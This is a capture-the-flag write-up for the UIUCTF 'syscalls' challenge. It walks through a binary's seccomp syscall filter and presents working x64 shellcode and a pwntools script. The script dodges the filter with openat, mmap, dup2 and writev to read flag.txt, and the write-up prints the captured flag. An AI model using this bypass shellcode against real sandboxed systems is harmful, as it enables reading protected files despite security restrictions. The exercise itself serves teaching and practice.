The pseudocode Ghidra gives us is as follows (with functions renamed):
voidmain(void){long in_FS_OFFSET; undefined local_c8 [184];long local_10; local_10 =*(long*)(in_FS_OFFSET +0x28);setvbuf(stdout,(char*)0x0,2,0);setvbuf(stderr,(char*)0x0,2,0);setvbuf(stdin,(char*)0x0,2,0);intro(local_c8);set_seccomp();execshellcode(local_c8);if (local_10 !=*(long*)(in_FS_OFFSET +0x28)) { /* WARNING: Subroutine does not return */__stack_chk_fail(); }return;}voidintro(char*param_1){puts("The flag is in a file named flag.txt located in the same directory as this binary. That\'s al l the information I can give you." );fgets(param_1,176,stdin);return;}intset_seccomp(void){int iVar1;long in_FS_OFFSET; undefined2 local_e8 [4]; undefined8 *local_e0; undefined8 local_d8; undefined8 local_d0; undefined8 local_c8; undefined8 local_c0; undefined8 local_b8; undefined8 local_b0; undefined8 local_a8; undefined8 local_a0; undefined8 local_98; undefined8 local_90; undefined8 local_88; undefined8 local_80; undefined8 local_78; undefined8 local_70; undefined8 local_68; undefined8 local_60; undefined8 local_58; undefined8 local_50; undefined8 local_48; undefined8 local_40; undefined8 local_38; undefined8 local_30; undefined8 local_28; undefined8 local_20; undefined8 local_18;long local_10; local_10 =*(long*)(in_FS_OFFSET +0x28); local_d8 =0x400000020; local_d0 =0xc000003e16000015; local_c8 =0x20; local_c0 =0x4000000001000035; local_b8 =0xffffffff13000015; local_b0 =0x120015; local_a8 =0x100110015; local_a0 =0x200100015; local_98 =0x11000f0015; local_90 =0x13000e0015; local_88 =0x28000d0015; local_80 =0x39000c0015; local_78 =0x3b000b0015; local_70 =0x113000a0015; local_68 =0x12700090015; local_60 =0x12800080015; local_58 =0x14200070015; local_50 =0x1405000015; local_48 =0x1400000020; local_40 =0x30025; local_38 =0x3000015; local_30 =0x1000000020; local_28 =0x3e801000025; local_20 =0x7fff000000000006; local_18 =6; local_e0 =&local_d8; local_e8[0] =0x19; /* PR_SET_NO_NEW_PRIVS */prctl(38,1,0,0,0); iVar1 =prctl(22,2,local_e8);if (local_10 !=*(long*)(in_FS_OFFSET +0x28)) { /* WARNING: Subroutine does not return */__stack_chk_fail(); }return iVar1;}voidexecshellcode(code *param_1){ (*param_1)();return;}
Firstly, main() calls the intro() function, which obtains input from stdin and puts it into local_c8.
Then, in set_seccomp(), we see a few prctl calls. On investigating the documentation, what prctl does depends on its first argument. The first prctl call has 38 as its first argument which represents PR_SET_NO_NEW_PRIVS (with reference to prctl.h). This means that execve promises not to grant privileges to do anything that could not have been done without the execve call (with reference to the manpage for pr_set_no_new_privs). The second prctl call has a first argument of 22, which is PR_SET_SECCOMP. Referring to seccomp.h, the second argument is 2 which refers to SECCOMP_MODE_FILTER. This means that the third argument, which is local_e8, is a pointer to the filter to be applied.
To check the seccomp rules which have been applied, we can use the seccomp-tools. On running seccomp-tools dump ./syscalls, we can see the following seccomp rules:
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x16 0xc000003e if (A != ARCH_X86_64) goto 0024
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x13 0xffffffff if (A != 0xffffffff) goto 0024
0005: 0x15 0x12 0x00 0x00000000 if (A == read) goto 0024
0006: 0x15 0x11 0x00 0x00000001 if (A == write) goto 0024
0007: 0x15 0x10 0x00 0x00000002 if (A == open) goto 0024
0008: 0x15 0x0f 0x00 0x00000011 if (A == pread64) goto 0024
0009: 0x15 0x0e 0x00 0x00000013 if (A == readv) goto 0024
0010: 0x15 0x0d 0x00 0x00000028 if (A == sendfile) goto 0024
0011: 0x15 0x0c 0x00 0x00000039 if (A == fork) goto 0024
0012: 0x15 0x0b 0x00 0x0000003b if (A == execve) goto 0024
0013: 0x15 0x0a 0x00 0x00000113 if (A == splice) goto 0024
0014: 0x15 0x09 0x00 0x00000127 if (A == preadv) goto 0024
0015: 0x15 0x08 0x00 0x00000128 if (A == pwritev) goto 0024
0016: 0x15 0x07 0x00 0x00000142 if (A == execveat) goto 0024
0017: 0x15 0x00 0x05 0x00000014 if (A != writev) goto 0023
0018: 0x20 0x00 0x00 0x00000014 A = fd >> 32 # writev(fd, vec, vlen)
0019: 0x25 0x03 0x00 0x00000000 if (A > 0x0) goto 0023
0020: 0x15 0x00 0x03 0x00000000 if (A != 0x0) goto 0024
0021: 0x20 0x00 0x00 0x00000010 A = fd # writev(fd, vec, vlen)
0022: 0x25 0x00 0x01 0x000003e8 if (A <= 0x3e8) goto 0024
0023: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0024: 0x06 0x00 0x00 0x00000000 return KILL
The rules prevent us from using most file i/o related syscalls, but allows us to use writev as long as either:
The first 32 bits of the file descriptor are greater than 0, or
The first 32 bits of the file descriptor = 0, and the file descriptor > 0x3e8.
After the call to set_seccomp, the execshellcode() function is invoked. It treats our input, which was stored in local_c8, as code and runs it.
This challenge requires us to provide shellcode to read flag.txt, given the restrictive seccomp rules. Usually, in order to print a file's contents to stdout, we would call open with the filename to obtain the file handle, call read with its handle to read the contents into a buffer, then call write to output the buffer content to the stdout file descriptor (which is 1). After a bit of research on the remaining syscall options, I was able to find alternatives to these syscalls. Instead of using open, we can use openat. Instead of using read, pread64, readvor preadv, we can use mmap to map the file handle's contents into memory. To output to stdout, we can use writev, but we cannot use 2 as the file descriptor. Hence we have to first use dup2 to duplicate the stdout file descriptor to one that seccomp won't kill, then call writev on our new file descriptor.
Here's the annotated shellcode I used (written in x64 assembly using intel syntax):
mov rax, 33 ; prepare for dup2 syscall
mov rsi, 0x3e9 ; new file descriptor that seccomp approves of
mov rdi, 1 ; stdout file descriptor
syscall
mov rax, 257 ; prepare for openat syscall
mov rdi, -100 ; -100 is a special value for dfd, so our pathname is relative to the current working directory
mov r10, 0x7478 ; "tx"
push r10 ; push last 2 bytes of pathname to stack
mov r10, 0x742e67616c662f2e ; t.galf/.
push r10 ; push first 8 bytes of pathname to stack
mov rsi, rsp ; move address of "./flag.txt" string into rsi
mov rdx, 0 ; flags = 0
mov r10, 0 ; mode = 0
syscall
mov r8, rax ; move fd of flag.txt into r8
mov rax, 9 ; prepare for mmap syscall
mov rdi, 0 ; addr = NULL
mov rsi, 100 ; read 100 bytes from flag.txt
mov rdx, 0x1 ; prot = 1 => PROT_READ, so pages can be read
mov r10, 0x2 ; flags = MAP_PRIVATE
mov r9, 0 ; offset = 0
syscall
mov r10, rax ; move buffer address into r10
mov r9, 100 ; length of buffer
push r9 ; push iov_len attribute of iovec struct onto stack
push r10 ; push *iov_base of iovec struct onto stack
mov rsi, rsp ; rsi: pointer to an iovec struct
mov rax, 20 ; prepare for writev syscall
mov rdi, 0x3e9 ; fd of our copied stdout
mov rdx, 1 ; number of buffers pointed to, we only have 1
syscall
mov rax, 60 ; exit syscall
syscall
With this payload, we can construct the payload using pwntools and send it to the server to retrieve the flag. My solve script is as follows:
from pwn import*# fill in binary nameelf = context.binary =ELF("./syscalls")# fill in libc namelibc =ELF("./libc.so.6")if args.REMOTE:# fill in remote address p =remote("syscalls.chal.uiuc.tf", 1337, ssl=True)else: p = elf.process(env = {"LD_PRELOAD": libc.path})# create exploit here# payload must be at most 176 bytes# int dup2(int oldfd, int newfd);# int openat(int dirfd, const char *pathname, int flags, mode_t mode);# void *mmap(void addr[.length], size_t length, int prot, int flags, int fd, off_t offset);# ssize_t writev(int fd, const struct iovec *iov, int iovcnt);print("./flag.txt".encode("utf-8").hex())# 2e2f666c61672e747874payload ="""mov rax, 33mov rsi, 0x3e9mov rdi, 1syscallmov rax, 257mov rdi, -100mov r10, 0x7478push r10mov r10, 0x742e67616c662f2epush r10mov rsi, rspmov rdx, 0mov r10, 0syscallmov r8, raxmov rax, 9 mov rdi, 0 mov rsi, 100mov rdx, 0x1 mov r10, 0x2 mov r9, 0 syscallmov r10, raxmov r9, 100push r9push r10mov rsi, rspmov rax, 20mov rdi, 0x3e9mov rdx, 1syscallmov rax, 60syscall"""payload =asm(payload)print(f"payload length: {len(payload)}")# pause()p.sendlineafter(b"you.\n", payload)info(p.recvall())# uiuctf{a532aaf9aaed1fa5906de364a1162e0833c57a0246ab9ffc}